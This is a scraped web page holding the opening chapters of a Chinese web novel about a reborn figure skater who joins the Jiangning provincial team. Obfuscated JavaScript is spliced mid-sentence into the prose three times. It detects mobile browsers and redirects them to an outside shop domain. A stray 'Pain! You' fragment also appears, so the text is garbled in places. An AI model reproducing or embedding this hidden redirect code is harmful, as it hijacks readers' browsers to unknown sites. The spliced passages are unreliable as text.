《重生后成了自己的双人滑搭档[花滑]》 1. 第 1 章 /* 洁白冰面上,一抹纤细高挑的身影缓缓立定,双手自然交叉置于胸前。 叮——悠扬清脆的钢琴声带动着那道身影开始动作,臂膀随着脚下规尺步展开向前抬起,手心紧握好似要抓住什么…… */ 2016年,距离第23届冬季奥林匹克运动会还有两年。 “欸,小兄弟你还上不上冰啊,就这么大点地方给你挡得严严实实。”恍惚之间,耳边传来有些不耐的催促声。被凝固的空间一瞬间好似流动起来,周围嘈杂的交流声、刀刃划过冰面的唰唰声……不断从四面八方向他涌来。 “不好意思,刚发了下呆,抱歉。”扎着高马尾的少年愣愣的往旁边退了一步,视线不自觉追着身后男人进场加入绕圈滑行队伍的身影,脚步下意识跟随上了冰面。 微微带着冷意的空气浸染着少年裸露在外的皮肤,一个激灵,周映澄凝滞的思绪终于开始运转。一边蹬冰,一边思索到底发生了什么。冰刃掠过冰面,冷冽的凉风从身边拂过,周映澄的头脑愈发清晰。奥运会结束的第十七天……他记得刚刚结束训练,回家的路上,一辆失控的汽车……“吱——”冰刀划出白痕,他应声刹停。站在这熟悉又陌生的冰上,落地窗投印出的昏黄格子里,他好像一个被遗忘的棋子落在这天地棋盘当中。 滑回刚刚意识回神的地方,挡板附近已经多了许多物件,但周映澄的目光却好似着了魔般不受控制地被挡板上放着的一个黑色双肩包所吸引。背包旁边的挡板外坐着个三十来岁的男人,周映澄犹豫了一下,上前指了指那个包问道:“大哥,这包你有看到是谁放这儿的吗?” “你的包啊,刚刚看你把包放下就过去了。”男人抬头看了眼询问的少年,少年脸色苍白,留着头在男生里少见的长发,扎着个利落的高马尾。 “哦,谢谢啊大哥,刚有点怕认错。”周映澄道了两声谢,回过身去打开背包。 硬刀套、软刀套、擦刀布、外套、运动鞋、保温杯、冰场票……零零散散的小物件和他习惯放在包里的东西相差无几,但是最重要的可以证明身份的身份证以及能够获取信息的手机,没有。除了周映澄脑海里存在的那些记忆,他什么都不知道,包里也没有任何东西可以让他知晓信息。 老天好像和他开了个巨大的玩笑。 全身上下没有一分钱,城市极限生存?等他出了场馆就可以直接开始挑战了。想到这,少年脸上露出一个苦笑,起码他还是小有资产的,看放在背包里的刀套,最起码脚下的冰鞋是自己的,不是租场馆的。不管怎么说,上天给了他第二次生命,已然是万幸。 得先想办法解决一下迫在眉睫的生存问题,边收拾被翻乱的背包,周映澄边思考。刚刚滑冰的时候瞥到围栏上印着江宁省体育局,没有印象,华国没有省份叫江宁。场馆装修和周围人的穿着看上去都带着些年代感,他还看到有人在用带home键的非全面屏手机打电话,现在可能既不是二零二六年,也不是同一个世界。平行时空?回到过去? 那……妈妈还存在这个世界吗?如果真是平行时空,爸爸还有可能活着吗?还有“我”,这个世界会依然有周映澄的诞生吗? 靠着围栏,少年双手拍了拍自己的脸,不要胡思乱想,得先想办法活下去。 他现在在冰场,也许能够做兼职当个助教。刚才在背包里什么证件都没找到比较麻烦,加上如今虽然身高不低,但明显还没有变声的嗓音,青涩单薄的身躯,抬眼望去脸上写着“未成年”三个大字。这样直接去问估计没人会把他当回事,他得先试试自己现在有多少实力,有没有资格让冰场破例允许他入职。而且在馆里多呆一会儿,万一有认识的人来找他呢。实在万不得已没有办法的情况,就拜托好心人带自己去警局,总能找到去处的。但滑冰,他不会放弃,身无分文,他得在最坏情况下给自己找一个能留在冰面的机会。 将背包拉链重新拉好,他再次蹬冰绕着冰场开始热身。 热身节奏渐渐放缓,一连串步法滑出让他对这具身体更加熟悉,膝盖律动如呼吸一般自然,控制着重心起伏转移。简单压了几步,干脆利落的点冰起跳,收紧,足周落冰滑出,完美的外点三周,非常壮观的高远度,几乎跨越了半个冰场。坐在场外的男人随意扫视的视线一下子钉在少年身上。 “诶诶,老裴,你刚看见了没,那小伙子那个外点。绝对是练过的?太漂亮了跳的。不减速直接进跳,轴正,周数也干净。”刚进场就直面这种高飘远跳跃,邝辉忍不住拍了拍坐在挡板外的搭档。 “确实可以,这跳跃质量……”裴立伟话还没说完,场上少年紧接着继续压步准备起跳,后内三周、内点三周、后外三周、勾手三周跳一个接一个的成功落冰。除了最后的勾手跳落冰翻身,其余跳跃都和第一跳外点三周质量差不多,高度惊人十分有冲击力。 “我靠,谁的学生?那么猛,这难度青年组上台子轻轻松松吧。”邝辉两眼放光,不住夸道,“看着就十三四岁,之前比赛怎么没见过他。” 长发少年并未就此收手,压步加速,整个人蓄力向前起跳——阿克塞尔三周跳,在起跳瞬间尚未收紧的身体,在空中完全收紧加速转体,恍若静止在空中的一瞬,砰的一声,冰刀落在冰上稳稳滑出。 裴立伟惊得站起,身体向前扶住挡板,眼神紧紧锁在场上被众人围观的少年身上。“谁带来的这小孩,问问他哪个地方的,有没有注册,别说青年组,全锦台子他也不是不能争一争。我们江宁这下捡到宝了!” “凭空冒出来这么个宝贝,要是没在其他省份注册,那咱们也真是踩到狗屎运了!老裴你到了有一会了吧,他家长你见到没,咱先去找人家家长聊聊。”邝辉也不由得兴奋起来。 “没呢,就看到他一个人。不知道什么情况,刚还找自己包呢,挺有礼貌的小孩。” 周映澄跳完之后喘了会气,慢慢滑回挡板,从包里掏出保温杯喝了几口水,稍稍平复运动后急促的呼吸。身体素质很不错,尽管与上一世的自己有许多不同之处,但活动起来重心却本能的被控制住,通体轻盈没有伤痛困扰的身躯,没有控制不住的重心变化,完全不一样的身体却像回到了当初,青涩但对未来充满自信,一切都像是奇迹。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17311138|198851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明明是上一世的习惯,但身体仿佛依旧存在肌肉记忆一般,身随心动,随心所欲。 原本只是想看下现在的自己能做到什么程度,能够捡回几个跳跃,但六种三周全落,周映澄不由得想再挑战一下,外点四周,自己曾经训练时成功落冰但从没在比赛中完成过的跳跃,是否可以重新捡回来。 盖上杯子,刚准备重新开始尝试,忽地场边两个男人叫住了他。 “小朋友,歇着呢?刚才冰上那几个跳,完成得太漂亮了!”裴立伟走近,面容和蔼带着笑意,语气中藏不住的欣赏。 邝辉立刻接话,语气同样热情:“滑得真棒!看着年纪轻轻,水平可真不简单!” “你家长呢?没来看你训练?” “你是跟哪个教练学的?是省队的还是俱乐部的?” 周映澄刚运动完,额上还带着薄汗,闻言脸上露出个无奈的笑,“我不知道,我……我不记得了。” “什么不记得?”裴立伟追问,眉头蹙起,“教练的名字?还是你在哪儿训练?” 少年眨了眨眼,似乎在努力思考,但最终还是摇了摇头,一缕汗湿的头发贴在前额,“嗯……很多事。我记得怎么滑,怎么跳,记得一些动作的名字……但其他事,好像从我脑海里被擦除了,一片空白。”他低下头,看着雪白的冰面,“我睁开眼就在这里,不知道发生了什么。” 裴立伟和邝辉交换了一个眼神,都看到了彼此眼中的震惊和疑虑。 “你叫什么名字,还记得吗?”裴立伟问,语气放得更加缓和。 少年又露出了那种努力思索的神情,过了一会,还是摇头。 裴立伟当机立断:“这样,你先别担心。辉哥,你先带他去休息室坐会儿。我去联系工作人员问问情况,看看有没有什么消息。” 休息室内,少年安静地坐在沙发上,旁边放着刚一并拿过来的双肩包,里面装着刚换下的冰鞋。邝辉没有继续追问少年关于记忆的事,转而聊起方才的跳跃。 “小朋友你刚才的那几个跳跃,落冰又稳又轻,真漂亮。练了挺久吧,有没有考虑过走专业?” “嗯。”少年微微低着头,两侧发丝垂下,隐约挡去一点稚气的轮廓,声音坚定。“虽然现在很多事想不起来,但我一定会成为专业的花滑运动员。我想参加奥运会,站上奥运会的颁奖台,拿冠军!” “哈哈,有志气!”邝辉忍不住笑道,一边把休息室的毯子轻轻盖在少年身上,一边放松语气,“有这样的心气儿,将来肯定能成事。” …… 时间缓缓流过,周映澄望了眼门口,看向眼前的男人,嘴唇微抿,装作一无所知的样子,语气略微带着不安,“裴教练还没回来吗?是不是……我给你们添麻烦了?” “别多想,应该还在查,小朋友不要操心那么多。”邝辉摆摆手,语气温和。他停顿了一下,像是随口一提,却又带着认真的意味: “不管结果怎么样,你要是愿意,之后可以来我们江宁省队试训,我们这儿,就缺你这样有天赋又肯拼的苗子。江宁省队的大门,随时为你敞开。” 2. 第 2 章 “笃笃笃——”休息室门被敲响,邝辉走上前开门。门后裴立伟神色严肃,“得去警察局一趟。” “没找到人?监控看了没?”邝辉把门带上,和裴立伟回到休息室,坐在沙发上,“小孩这个岁数不可能一个人来这里吧。” “刚去跟他们说调监控才知道这边监控几天前坏了,还没修好。特地问了前台还有附近的工作人员有没有看到过扎马尾的小男生,都说没印象。” “没办法,什么消息都没有,必须去警察局一趟。”裴立伟叹了口气,看了眼一边安静坐着的少年,“至少得报备一下,看能不能联系上他家人。” 邝辉沉吟道:“要不要先带他去医院检查一下?滑冰摔出脑震荡导致暂时失忆的案例也不是没有。这会儿看着精神还行,万一是之前受了内伤。” “我应该没有摔过,身上感觉挺好的,没有不舒服的地方。”少年拍了拍自己身上,语气坦然。他抬眼看向两人,声音轻了些:“还是先去警察局吧,早点解决。” 邝辉和裴立伟对视一眼。邝辉站起身,拍了拍裤子:“行,那就先去警局。别担心,我们陪着你。” 裴立伟也点了点头,神色缓和了些:“走吧,我开车。路上你再慢慢想,有任何线索都告诉我们。” 周映澄“嗯”了一声,把毯子叠好放在沙发上,跟着两人起身。走到门口时,他脚步顿了一下,回头望了望冰场的方向。 邝辉注意到他的动作,轻声问:“怎么了?” “……没什么。”少年转回来,轻轻带上了门。 到了派出所,流程简单却耗时。民警询问地十分耐心,周映澄扮演着一个茫然、努力回忆却一无所知的少年,回答得滴水不漏。 姓名?不记得。年龄?不知道。家人?想不起来。怎么到冰场的?没有印象。 “他身上有没有能证明身份的东西?”警官转向陪同前来的二人。 裴立伟摇头:“我们都看过了,没有手机,没有钱包,衣服口袋干干净净,背包里除了鞋子外套也没有别的了。冰场那边监控也坏了。” 民警做下记录,随后尝试通过系统进行人脸识别比对。屏幕滚动,结果很快显示:无匹配结果。 “我们接下来需要采集一下指纹和DNA信息,录入全国系统进行比对,看看能不能匹配上失踪人口的报案记录。小朋友,今晚你可能需要在这里的临时安置室待一下。”他看向少年,耐心解释道。同时告知两位教练,如果短期内无法确认身份,少年无人认领的话,他们会按规定联系民政部门或未成年人救助保护机构进行后续照料。 “警察同志,那能不能让这孩子跟我们回去?”邝辉忍不住开口,看了眼身边低着头显得孤零零的少年,“我们省队正好在招人,能不能我们先照看着?给他安排个试训,住在省队宿舍,也算有个落脚的地方。如果家人找来,随时可以联系。” 裴立伟也点了点头,补充道:“我们都是省队正式教练,可以出具证明。” 民警仔细查看了两位教练的证件,又看了看安静站在一旁的少年,最终点了头:“特殊情况,可以暂时这样处理。但一有家属消息,必须立刻通知我们。我们也会继续帮他寻找家人。” “一定一定!”邝辉连忙应下。 走出派出所,天色已经完全黑透。裴立伟要去处理一些后续手续,邝辉则先带着周映澄去临时安排的宿舍,是一个双人间,目前只有他一个人住。房间不大,但整洁明亮,有独立的卫生间和书桌衣柜。 “别怕,”邝辉拍了拍少年的肩膀,语气温和,“既然暂时想不起来,就把这里当成家。其他的,慢慢来。” 周映澄抬起头,迎着邝辉安抚的目光,用力点了点头。“知道了,谢谢教练。” “明天早上带你去医院,今晚早点睡别熬夜。”邝辉一边给少年收拾床铺,一边嘱咐道,“好好休息,别胡思乱想。过会我给你拿几件衣服过来,先凑合穿。明天去了医院再带你买两件新的。” “好。”周映澄看着邝辉,眼睛亮亮的,“教练你真好。” “知道我好就过来搭把手,光搁那看着说两句好就完事了?然后记得等下洗完澡早点睡觉,别当耳边风啊。” 躺在宿舍床上,周映澄越想越觉得今天发生的一切都像个梦。死而复生,再一次的机会去实现梦想。看着雪白的天花板,周映澄揉了揉头发猛地坐起,考级!他连忙爬起来,对着贴在墙面的镜子仔细打量自己。快到腰的长发,细挑的眉下压着双灰色的眸,眼睛就像微风拂过的湖面覆着层水光,微抿的唇带着点挤出的血色。掐了下脸颊,未褪去的婴儿肥软软的,应该没到十五吧?也不像是十一二岁刚出头的年纪。别等考完级有资格参加比赛,同期都退役了。 别想那么多,周映澄拍了拍脸,重新躺回床上,裴教练和邝教练应该会有办法,不然真让我在省队待几年只参加商业赛,做慈善也没有这么做的。 阳光穿过玻璃,从没拉好的窗帘缝隙中照进屋内。 “笃笃笃——”宿舍房门敲响,门外裴立伟的声音传来,“起床了吗?” “来了。”周映澄穿戴齐整,打开房门。 “早上要去医院检查,不能进食,等结束后再给你买早餐。”裴立伟带着少年往车停的地方走去。 医院检查结束,周映澄手里拿着邝辉刚给他买的煎饼果子配牛奶,热乎乎的早餐下肚,驱散了消毒水味带来的些许不适。他小口咬着煎饼,听裴立伟和邝辉聊着他的检查报告,上面的数据他刚才也瞥了几眼,身体十分健康,没有任何暗伤或隐疾,肌肉线条匀称,骨骼清奇,是块绝佳的璞玉。骨龄测出来十三岁左右,作为男生,不怎么受发育关的负面困扰,年纪轻,影响不大。 “就是身高可能有点太高了。”裴立伟邝辉两人讨论半天得出结论,十三岁将近一米七的身高,等发育期估计还得暴涨一波。但是这种十三岁就拥有超C难度储备的天才,天赋摆在眼前,其他的都可以调整适应。江宁省一只手数的过来的选手,居然被他们在冰场逛逛就捡到了,完全是意外之喜。“这以前怎么练的呀,爱护的太好了,阿克塞尔三周都出来了居然没伤过。” “昨天我们在警局说要带你去省队试训,你现在是想先在省队安顿下来,测一测体能之类的,试试适不适应训练环境,还是……有什么其他想法?”裴立伟转向旁边一直默默吃东西,将每一句对话都听进耳中的周映澄,语气温和却带着正式,“或者,想再等等看警方那边有没有消息?” 周映澄咽下最后一口煎饼果子,又喝了两口牛奶,将包装袋仔细收好扔进垃圾桶。他抬起头,目光清澈,看向裴立伟和邝辉。 “我想试试。”声音不大,却十分坚定。 邝辉脸上已经绽开一个大大的笑容,拍了拍周映澄的肩膀。“好小子!有魄力!我就知道你是个干这块的料!” 裴立伟则更沉稳些,他点点头,眼中是毫不掩饰的赞赏:“想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17311139|198851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清楚了?专业训练不比在冰场自己滑着玩,很苦,非常苦。每天睁开眼睛就是训练,枯燥、重复,还要面对伤病和竞争的压力。” 周映澄静静地听着,那双灰色的眼里十分平静,没有一丝退缩。苦?他经历过发育关时身体失控地变化,跳跃高度和转速暴跌,曾经轻而易举完成的动作变得千难万难,发力奇怪、轴心不稳、身体发沉,骨折依然带伤上场,新伤叠旧伤。压力?他顶着紫微星的期许从青年组比到成年组,从国内赛杀到国际赛,数次创下华国女单大赛新纪录,却在最大的舞台两次无缘奖牌。 苦和压力,伴随那些期望,早已融进他的灵魂,即使换了躯壳,依旧如影随形。 “我不怕苦。”他顿了顿,补充道,“我喜欢在冰上的感觉。” 即便是他在说出讨厌滑冰的那一刻,心底最深处,也无法否认每一次跳跃时腾空的快意,每一次滑行时冰刀划过冰面的畅快,每一次将情感融入节目,那种近乎忘我表演的酣畅。他恨的,或许从来不是滑冰本身。 “那好。我们现在就回去,省队那边我已经打过招呼了。警方那边我们会继续跟进,如果有任何关于你家人或过去的信息,第一时间告诉你。在那之前,江宁省队就是你的家。” “谢谢裴教练,邝教练。”周映澄看着两人,很认真地鞠了一躬。动作带着生涩,却格外郑重。 回到省体育训练中心。冰场就在综合训练馆的一楼,里面有人正在训练,冰刀划过冰面的声音即便隔着一段距离也隐约可闻。 “先去训练室。”邝辉拍了拍他的肩膀,语气比昨天熟稔了不少,“测几个基础项目,看看你的底子。测完再带你去办手续,顺便”他笑了笑,“把昨晚答应你的新衣服买了。” 按照流程,他被带去做了更详细的身体测试和体能评估。反应神经、核心力量、爆发力、柔韧性、耐力……一项项测下来,连负责测试的体能教练都频频露出惊讶的神色。 “这底子真是老天爷追着喂饭吃。”教练拿着记录表,啧啧称奇,“肌肉太好了,既有爆发力又有耐力,柔韧度也远超同龄男生,关键是他的身体协调性和平衡感,简直像千锤百炼过一样。很多小肌肉群的控制,没经过长期专项训练根本不可能有这个水平。” 裴立伟站在一旁,看着周映澄在测试垫上轻松完成一组高难度动作,神色平静,呼吸均匀,仿佛只是做了个伸展,毫不费力。 “就是身高,”邝辉摸着下巴,看着测量仪上显示的167.9厘米,“现在看是优势,个子高四肢长,观赏性好。但以后要是长太高,跳跃就是个挑战。”男单选手的身高通常在一米七到一米八之间,超过一米八五就会影响跳跃时在空中的转速,以及落地时受到的冲击力。 “走一步看一步,先练着。”裴立伟很务实,“这么好的苗子,不可能因为未来可能长高就放弃。技术可以调整,训练方法因材施教嘛。” 测试结束,二人带着周映澄来到行政楼。办公室里,工作人员已经准备好了相关表格。由于周映澄身份特殊,没有户籍和身份证件,只能先办理临时运动员注册登记,挂在省冬季运动管理中心名下,方便安排训练和生活,同时继续由警方那边协助查询身份信息。 填表的时候,周映澄在姓名一栏顿了顿,然后工整地写下了两个字——舒望。这个名字,妈妈曾跟他说过,他出生前,爸爸和妈妈约定好一人起一个名字,如果是女生,就用映澄,如果是男生,就叫舒望。 3. 第 3 章 “舒望?”裴立伟看着签名,有点惊喜,“你有想起来什么了吗?” “没有,只是在写到这栏的时候脑子里突然冒出来这两个字。” “这样啊,舒望,是个好名字。” 所有手续告一段落,天色已经有些暗了。邝辉长舒一口气,揽过舒望的肩膀:“走喽,带你买衣服,再吃顿好的,庆祝我们舒望今天正式入职!” 他们没去太远的地方,就在训练中心附近的一个商场。邝辉十分爽快,直接带周映澄进了几家运动休闲品牌店。 “训练服队里会发,但平时穿的衣服得有几套换洗。”邝辉看了眼舒望,身上是昨天自己拿给他穿的,不太合身的卫衣,“喜欢什么款式,自己挑,别客气,算我和裴教练送你的见面礼!” 提着几个装满衣服的袋子和一部新鲜到手的手机——舒望跟教练提前预支了下个月津贴,三人回到训练中心。 听完教练交代的明天的训练安排,舒望回到宿舍。手机里存着刚刚添加的两位教练的电话号码,舒望却按下了另一串数字,一串他不用回忆就能够脱口而出的数字,拨通。 “喂?”熟悉的声音传来,“谁啊?有人在听吗?” 一瞬间,这些天积攒下来的惶恐不安像找到了宣泄的出口,舒望的眼眶一下子红了。 “没有人说话吗?恶作剧?”电话被那头挂断了。 伴随电话挂断的“嘟嘟”声消失,房间回归寂静,但舒望的心跳却擂鼓般跳动起来,“扑通扑通”震耳欲聋,眼眶的酸胀感还未褪去,一股莫名的安定感随着熟悉的声音注入胸膛。熟悉的人,还在。2016年,妈妈和爸爸已经在社交媒体给自己创建了账户,用来记录生活。 下载大眼app,搜索用户“橙子种植园”,头像是一个圆滚滚长得非常橙子的橙子,简介写着:“记录小橙子的日常~”。主页寥寥几十篇博文,最新一条发布于一天前,是一张蛋糕照片。文案上写着:祝小橙子生日快乐,心想事成!>3 再会诺尼诺:生日快乐! 往下翻,久违的低清画质,久违的幼崽视频。这些曾经觉得黑历史的“案底”,居然会那么让人怀念。 舒望关掉视频,却没有退出app。重新回到搜索栏,输入“周映澄”。 映入眼帘的是,两天前刚刚结束的世青赛。 @华国花滑:#2016花样滑冰世青赛#女单比赛结束:华国选手周映澄夺得冠军,德米特里娜·伊万诺娃实现惊天逆转拿下银牌,须坂由英获得铜牌,华国选手楼燕排名第十三。 十四岁的世青赛冠军,正站在荣耀的起点,光芒万丈。十三岁的舒望,身处江宁省队,身无长物,再次踏上了相同的道路。 清晨,清脆的起床铃声打破了宿舍的宁静。舒望几乎是在铃声响起的瞬间就睁开了眼,迅速起床,简单洗漱完毕换上训练服带着鞋包出门。走廊里已经有不少运动员的身影,三三两两结伴着去食堂。 在食堂吃过早餐,到场馆的时候,邝辉已经在冰场入口处等着了。 “早上好啊舒望,精神不错!”邝辉拍了拍舒望的肩,走进冰场。 冰场内冷冽的空气扑面而来,场上已经有不少运动员在训练了。有单独练习步法、旋转的,也有教练在场边指导跳跃的。裴立伟也在场边看着,不时出声纠正。看到进来的二人,裴立伟让男生自己先练习,朝着舒望走来。 “今天先适应冰面,找找感觉。不用急着上难度,把基础滑行、各种弧线、简单的步法组合还有旋转过一遍,之后就是邝辉教练带你。” 舒望点点头,换好冰鞋上了冰。他沿着场边滑行,速度逐渐加快,身体微微前倾,重心压得很稳。长腿提供了更长的滑行距离和更强的蹬冰力量,但也需要更精细的核心控制来维持平衡。转弯,压步,换足,简单的内外刃弧线……他做得一丝不苟,动作标准得让场边观察的裴立伟和邝辉赞叹不已。 “这滑行功底,”邝辉低声对裴立伟说,“没个五六年扎实基础,出不来这种感觉。流畅,用刃深,速度保持得好,关键看他上半身,稳得很,不晃。” 接着是步法。舒望听从邝辉的指导,尝试了几个基础的摇滚步、转三、括弧步。他的身体记忆自然浮现,用刃和变向无一纰漏,冰痕滑出清晰干净。甚至在做一组相对复杂的步法组合时,他下意识地加入了上肢和头部的动作,使得整个动作看起来轻盈而富有韵律。 “停一下。”裴立伟招招手。 舒望滑到场边。 “你刚才那个动作,自己设计的?”裴立伟问。 舒望一怔,摇摇头:“没有,就是顺着感觉做的。” “感觉很好。”裴立伟肯定道,“很有表现力。” 回到场上,舒望继续开始旋转动作,轴心稳定,燕式转和直立转难度姿态都保持的不错,蹲踞转身体不够低。进入旋转后姿态变换速度不够,不能在两圈内完成旋转动作变换,需要之后花时间狠抓。 “来,试试跳跃。”邝辉搓搓手,语气充满期待,“从一周跳开始,每种都做一遍,看看你的用刃。” 舒望照做。六个一周跳,干净利落。 “好,现在两周。” 依旧完美落冰,除了呼吸微微有些发喘,少年看着没有任何压力十分轻松。 随着舒望一项接一项动作的完成,场边已经有不少结束训练或稍晚来的队员在围观,低声议论着这个空降的新面孔。 “最后,”邝辉合上笔记本,看着舒望,“把你前天跳过的三周跳,再跳一遍。” 这才是真正的考验,在教练近距离,有针对性的审视下,完成那曾让他们震惊的跳跃。 舒望滑开一段距离,深呼吸。压步加速,点冰起跳,外点三周落冰滑出。接着是后内三周,踩刃清晰,足周滑出。后外三周,起跳瞬间舒望心里咯噔一下,知道不妙,跳跃重心不对,起空了。没有更多思考,他在落冰后重新压步起跳,顺利滑出。内点三周,点冰干脆,身体随之腾空收紧,落冰时稍稍不稳,溅起一片冰屑。勾手三周,他刻意强调了起跳时外刃深度,几乎平行于冰面的脚踝看着就像崴脚的模样,完美完成跳跃。最后,阿克塞尔三周,一如既往十分有冲击力的高远度,一圈、两圈、三圈……落冰的声音重重砸在冰面上。 邝辉合上手中的笔记本,招了招手把舒望叫来场边。“很好,你的跳跃技术框架很正,用刃清晰,尤其是内点跳和勾手跳的用刃,很干净,能避免不少麻烦。起空的不说了,但是你最后的阿克塞尔是累了吗?周数不够缺了呀,你小子,脚踝倒是挺软的,缺了九十度也能拧过去,但得注意啊,这样要吃符号扣分的。” 分析句句切中要害,舒望认真听着教练的指导。 “我去,这人牛啊,三周半就这么落了?看着挺高的,头发那么长,女单那边新来的?”郁梓睿用胳膊捅了捅旁边的鄢宇航,两人刚从食堂出来,一进场馆就看到自己的教练在场边认真观察场上少年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17311140|198851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,拿着笔记本记录着什么。 鄢宇航眯着眼看着正在围栏处听教练指导的少年:“你真得配眼镜了,男的女的认不出来,不过确实没见过,应该是新来的。” “是哦,”郁梓睿边进场,边辩解道,“长得那么好看还留长发没仔细看认错不很正常吗?” “咱们队里还能挖到会三周半的,难以置信。” “不止,刚刚教练让他把三周跳都过了一遍,全面摸底呢。他勾手跳用刃可深了,内点刃也不平,双对刃,羡慕。”旁边的女单队员堂榕融抱着水杯,也加入八卦。 “没准是回炉的。”一个略年长些的男单队员闽奕泽滑过来休息,擦了把汗,闻言插了一嘴,“以前在别的省队练过,因为什么原因退了,现在被裴教练他们找来了,进咱们江宁省队。” “有道理。不过确实脸生,没参加过比赛吗?” 场内,舒望按照邝辉的要求,改了一个滑行衔接的小细节,正准备尝试下一次滑行。周围来自不同方向的目光和隐约传来的窃窃私语,他尽量屏蔽,将注意力集中在脚下。 训练结束,裴立伟叫住了他,“舒望,来办公室一下。” 办公室内,裴立伟和邝辉都在,桌上摊着一些文件和训练计划。 “坐。”裴立伟示意,“今天感觉怎么样?强度能适应吗?” “能适应。”舒望点头,声音因为疲惫有些低哑,但很清晰。 “很好。你的身体素质和恢复能力比我们预想的还好。”裴立伟说着,从文件夹里抽出一张通知,“叫你过来,是有件事要跟你商量,也听听你的想法。” 舒望看向那张纸。 “下个月,全国花样滑冰等级测试开始报名。一共四站,分别在四个不同的城市举行,每站间隔不到十天。”裴立伟用手指点了点通知,“这是针对运动员的标准化考核,从低到高一共十级,分步法和自由滑。要通过八级才有参加青年组全国比赛的资格。” 舒望知道这个等级测试。前世,他也是一路考上去的,一年两级,次次通过。十三岁,考到八级要四年,还能赶上青年组的末班车。 “你的情况特殊。”邝辉接口道,“没有过往成绩和等级记录,等于是从零开始。以你目前的技术水平,从基础级慢慢考,太浪费时间了。” 裴立伟接着说:“我和邝辉研究了一下赛程和规则。这四站的报名截止时间错开,也就是说,如果动作快,理论上,可以连续报名参加这四站测试。” “而且,”裴立伟目光锐利地看着他,“如果你能在第一站通过测试,拿到证书,就可以报名下一站更高一级的测试。只要你能通过,就能像爬楼梯一样,快速升级。” “你的目标是,”邝辉身体前倾,声音带着一丝兴奋和挑战,“在这一个多月里,连闯四关,直接拿下四级步法和四级自由滑!一切顺利的话,加上今年下半年的等级测试,明年七月就可以报名俱乐部联赛刷到最低技术分,获得全国赛的门票!” “时间非常紧,每一站之间,你需要调整状态,适应新的冰面。更重要的是,每一级的测试,要求的节目技术动作构成和分值都不同。这代表你要在极短的时间内,学会并掌握八套不同要求的节目编排。虽然基础级到四级的要求对你来说不算什么,但这么短的时间,这么紧的行程,对你来说也是个巨大的考验。” 办公室里安静下来,只有窗外传来的风声。舒望听到自己的心跳,“扑通扑通”逐渐加速。 4. 第 4 章 Pain! You “我可以。”舒望抬手,按在那纸通知上,“四级步法和四级自由滑,我会一次拿下。” 基础级步法只需要在规定时间内无音乐完成要求步法,二级步法在这之上要按规定的节奏自选音乐,后续级别步法的编排节目则要求再加上表演要素。自由滑是在自选音乐伴奏下,规定时间内完成一套包括规定动作和步法在内的自由滑冰表演。不说节目编排只谈动作要求的话,区区四级,不足为虑。 裴立伟和邝辉不意外舒望的回答,他身上带着一种超越年龄的沉稳,让他果断的回话显得十分可信。 “好!”裴立伟赞叹道,同时拿出一个平板电脑,“既然你决定了,那我们就立刻开始准备。首要任务,是确定你考级要用的两套节目音乐。” 他将平板推到舒望面前,屏幕已经切到音乐库页面。“等级测试对音乐有要求,我们计划不换音乐,用一首固定的曲子,到时候跟着考级要求修改编排。而且,我们的目标不止于此。”裴立伟顿了顿,语气认真,“这两首曲子,不仅仅是为了应付这四站考级。它们会是你下个赛季短节目和自由滑的曲目。时间很紧,没有必要为了考级单独编两套新节目。现在选好曲子,练习和考试的时候也能多熟悉一下音乐,下赛季正式比赛也不用费大功夫重新合乐。” “时间紧迫,我们没有太多时间用来挑选。”邝辉补充道,“我和裴教练初步筛选了一些风格节奏比较适合的曲子,也比较有包容性,变速或者裁剪都可以,方便后面配合考级要求改编。你听听看,有没有打动你的,或者你感觉比较喜欢的。” 舒望点点头,手指在平板上滑动。列表里的曲目很杂,有古典乐片段,有电影原声,也有现代编排的纯音乐。他点开第一首,旋律优美,琴音清脆,带着古典的忧伤。第二首,空灵,寂寥,又隐隐含着希望…… 一首首听下去,舒望的大脑飞速运转,将音乐与可能编排的步法,跳跃和旋转相联系。适不适合排在个人喜好之前,能否完美演绎节目,影响裁判心理打分,才是他再次登上赛场所必须考虑的。 突然,熟悉的人声伴随激昂的节奏响起,这首曲子,舒望滑动的手指停住了。 “这首。”舒望抬起头,还带着婴儿肥的脸上满是认真,“自由滑的曲目,我想用这首。” “《Believer》?”邝辉听到舒望的选择,有些惊讶地挑了挑眉,“梦龙那首?你确定?” 裴立伟也露出了思索的表情:“这首歌,情感浓烈,对表演者肢体和表情要求很高。节奏也快,对体力要求不低。还是带人声的流行歌曲,裁判不一定欣赏这种风格。不过要是能完整滑下来,确实容易出效果,带动观众情绪。” 